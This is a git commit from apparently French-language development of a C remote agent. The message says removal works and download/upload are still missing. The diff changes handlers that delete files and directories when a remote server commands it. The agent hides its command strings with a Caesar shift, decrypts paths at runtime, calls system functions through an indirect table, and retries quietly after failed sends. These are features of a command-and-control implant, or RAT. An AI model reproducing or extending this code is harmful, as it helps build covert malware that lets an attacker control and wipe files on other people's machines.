remove fonctionne

manque les fonctions download/upload de l'agent
This commit is contained in:
2023-02-18 15:36:36 +01:00
parent 5d1ed4e12a
commit 10a98d02d4
6 changed files with 46 additions and 63 deletions

View File

@@ -195,14 +195,7 @@ retry:
goto retry;
}
delete_file(path);
if (Api.send(sock, "itsj", strlen("itsj"), 0) < 0) { //done
//send failed
Api.free(path);
Sleep_(Sleep_TIME);
goto retry;
}
Api.remove(CAESAR_DECRYPT(path));
Api.free(path);
}
@@ -219,14 +212,9 @@ retry:
goto retry;
}
delete_dir(path);
Api.rmdir(CAESAR_DECRYPT(path));
if (Api.send(sock, "itsj", strlen("itsj"), 0) < 0) { //done
//send failed
Api.free(path);
Sleep_(Sleep_TIME);
goto retry;
}
Api.free(path);
}
if (Api.strncmp(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info